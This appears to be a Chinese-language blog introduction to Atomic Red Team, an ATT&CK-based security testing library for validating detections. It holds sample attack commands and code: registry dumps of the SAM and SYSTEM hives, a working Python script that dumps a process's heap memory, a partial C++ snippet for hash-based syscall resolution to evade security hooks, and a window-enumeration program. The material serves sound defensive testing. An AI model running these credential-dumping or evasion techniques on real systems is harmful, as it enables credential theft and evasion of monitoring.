Atomic Red Team - 基于MITRE ATT&CK的安全测试库

4 阅读5分钟

Atomic Red Team

Atomic Red Team™ 是一个开源的、基于 MITRE ATT&CK® 框架的安全测试库。安全团队可以使用它来快速、便携且可重复地测试其环境的安全性。该项目由 Red Canary 维护,并拥有活跃的社区贡献者。

功能特性

  • 基于 ATT&CK 框架: 所有测试用例都映射到 MITRE ATT&CK 战术和技术,确保测试的针对性和有效性。
  • 易于执行: 可以直接从命令行执行原子测试,无需复杂的安装或配置。
  • 跨平台支持: 提供针对 Windows, Linux, macOS, Office 365, Azure AD, Google Workspace, AWS, GCP, 容器, ESXi 等多种平台和环境的测试用例。
  • 执行器多样性: 测试用例支持多种执行器,如 powershell, bash, sh, command_prompt,以适应不同的测试环境。
  • 高度可定制: 每个测试都包含详细的输入参数,允许用户根据需要定制测试行为,例如指定目标域名、用户凭证、文件路径等。
  • 社区驱动: 作为开源项目,持续接收社区的贡献,不断扩展和更新测试用例库。

安装指南

Atomic Red Team 本身是一个测试用例库,无需安装。你可以通过以下方式使用它:

  1. 克隆仓库 (获取所有测试用例):

    git clone https://github.com/redcanaryco/atomic-red-team.git
    
  2. 使用 Invoke-Atomic 框架 (推荐用于更丰富的测试体验):

    # 安装 Invoke-Atomic 模块
    Install-Module -Name invoke-atomicredteam -Scope CurrentUser
    # 导入模块
    Import-Module invoke-atomicredteam
    # 下载原子测试用例
    Invoke-AtomicRedTeam -Download
    
  3. 直接访问: 你也可以直接浏览仓库中的 atomics 目录,查找并手动执行特定技术的测试命令。

使用说明

基础使用

执行一个原子测试通常需要指定要测试的 MITRE ATT&CK 技术编号。

使用 Invoke-Atomic 执行测试:

# 执行 T1003.001 (LSASS 内存转储) 的所有测试
Invoke-AtomicTest T1003.001

# 仅执行 T1003.001 的第一个测试
Invoke-AtomicTest T1003.001 -TestNumbers 1

直接执行测试用例: 每个测试用例都包含详细的执行命令。你可以直接从其对应的 Markdown 文件中复制命令并运行。例如,执行 T1003.002 的 "Registry dump of SAM" 测试:

# 在管理员权限的命令提示符中运行
reg save HKLM\sam sam
reg save HKLM\system system

典型使用场景

  • 验证检测规则: 运行特定的原子测试,以确认你的安全监控工具(如 SIEM、EDR)是否能够正确检测到该攻击行为。
  • 红队演练: 在授权测试中,使用原子测试模拟攻击者的行为,评估防御体系的有效性。
  • 蓝队能力训练: 通过执行和响应原子测试,帮助安全分析师熟悉攻击手法和识别对应的告警。
  • 环境安全基线评估: 在系统上线或配置变更后,运行相关测试以确保安全配置未被削弱。

核心代码

以下是项目中的一些核心代码示例,展示了原子测试的定义和执行逻辑。

1. 进程内存转储 (T1003.007)

该 Python 脚本演示了如何转储指定进程的堆内存到文件,模仿了从 /proc 文件系统窃取凭证的行为。

# 文件名: dump_proc.py
#!/usr/bin/env python
'''Dump a process's heap space to disk
Usage:
    python dump_proc.py <PID> <filepath>
'''
import argparse
import platform
parser = argparse.ArgumentParser(description='Dump a process\'s heap space to disk')
parser.add_argument('pid', type=int, help='ID of process to dump')
parser.add_argument('filepath', help='A filepath to save output to')
args = parser.parse_args()
process_id = args.pid
output_file = args.filepath
if platform.system() == "Linux":
  with open("/proc/{}/maps".format(process_id), "r") as maps_file:
      # 查找堆内存地址范围
      heap_line = next(filter(lambda line: "[heap]" in line, maps_file))
      heap_range = heap_line.split(' ')[0]
      mem_start = int(heap_range.split('-')[0], 16)
      mem_stop = int(heap_range.split('-')[1], 16)
      mem_size = mem_stop - mem_start
elif platform.system() == "FreeBSD":
  import subprocess
  procstat_output = subprocess.check_output(["procstat", "-v", str(process_id)], universal_newlines=True)
  heap_line = None
  for line in procstat_output.splitlines():
      if "rw-" in line and "sw" in line:
          heap_line = line
          break
  if not heap_line:
      for line in procstat_output.splitlines():
          if "rw-" in line and not (".so" in line or "/lib/" in line):
              heap_line = line
              break
  columns = heap_line.split()
  mem_start = int(columns[1], 16)
  mem_stop = int(columns[2], 16)
  mem_size = mem_stop - mem_start
# 读取并写入内存数据
with open("/proc/{}/mem".format(process_id), "rb") as mem_file:
    mem_file.seek(mem_start, 0)
    heap_mem = mem_file.read(mem_size)
with open(output_file, "wb") as ofile:
    ofile.write(heap_mem)

2. 动态API解析 (T1027.007)

此代码片段展示了如何使用API哈希和动态系统调用解析来隐藏API调用,这是一种用于防御规避的高级技术。

// 文件名: ninja_syscall1.cpp (核心逻辑片段)
/**
Author: Thomas X Meng
T1027.007: Obfuscated Files or Information: Dynamic API Resolution
Ninja syscall 技术。通过哈希值动态解析NtCreateFile函数的地址,
从而避免在导入地址表(IAT)中留下痕迹,以绕过安全软件的钩子。
**/
#include <windows.h>
#include <iostream>
#include <cstddef>
#include <cstdint>
#include <cstdio>
#include "winternl.h"
#pragma comment(lib, "ntdll")
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif

// syscall stub preparation:
int const SYSCALL_STUB_SIZE = 23;
using myNtCreateFile = NTSTATUS(NTAPI*)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

// 函数声明:将RVA(相对虚拟地址)转换为文件偏移
PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section)
{
	return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);
}

// 核心逻辑:根据函数名哈希查找并获取系统调用存根
BOOL GetSyscallStub(LPCSTR functionName, PIMAGE_EXPORT_DIRECTORY exportDirectory, LPVOID fileData, PIMAGE_SECTION_HEADER textSection, PIMAGE_SECTION_HEADER rdataSection, LPVOID syscallStub)
{
	PDWORD addressOfNames = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfNames), rdataSection);
	PDWORD addressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfFunctions), rdataSection);
	BOOL stubFound = FALSE;
    // ... 后续代码将通过哈希匹配找到目标函数,并复制其系统调用存根到内存
    return stubFound;
}

3. 应用窗口发现 (T1010)

此 C# 程序枚举了系统中所有正在运行的进程及其主窗口标题,可用于收集系统使用情况的信息。

// 文件名: T1010.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;

/*
Author: Tony Lambert, Twitter: @ForensicITGuy
License: MIT License
用法:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
T1010.exe
*/

namespace WindowLister
{
    class Lister 
    {
        static List<string> ListMainWindowTitles()
        {
            List<string> windowTitlesList = new List<string>();
            Process[] processlist = Process.GetProcesses();

            foreach (Process process in processlist)
            {
                string titleOutputLine;

                if (!String.IsNullOrEmpty(process.MainWindowTitle))
                {
                    titleOutputLine = "Process: " + process.ProcessName + " ID: " + process.Id + " Main Window title: " + process.MainWindowTitle;
                    windowTitlesList.Add(titleOutputLine);
                }
            }
            return windowTitlesList;
        }

        static void Main(string[] args) 
        {
            List<string> windowTitlesList = ListMainWindowTitles();
            windowTitlesList.ForEach(i => Console.Write("{0}\n", i));
        }
    }
}

4. 内核模块Rootkit (T1014)

此C代码是一个最简单的Linux内核模块,它展示了如何将代码加载到内核空间,这是实现Rootkit的基础。

// 文件名: hello.c
/*  
 * Source from https://linux.die.net/lkmpg/x121.html 
 * hello.c - The simplest kernel module.
 */
#include <linux/module.h>	/* 所有模块都需要 */
#include <linux/kernel.h>	/* 用于 KERN_INFO */

MODULE_LICENSE("GPL");

int init_module(void)
{
	printk(KERN_INFO "Atomic kernel module T1014 loaded.\n");
	/* 
	 * 非0返回值表示模块初始化失败,无法加载。
	 */
	return 0;
}

void cleanup_module(void)
{
	printk(KERN_INFO "Atomic kernel module T1014 unloaded.\n");
}

4QPpbw8C580VsTKHlEYK775I226+ZQqS+zTS+e3HtJc=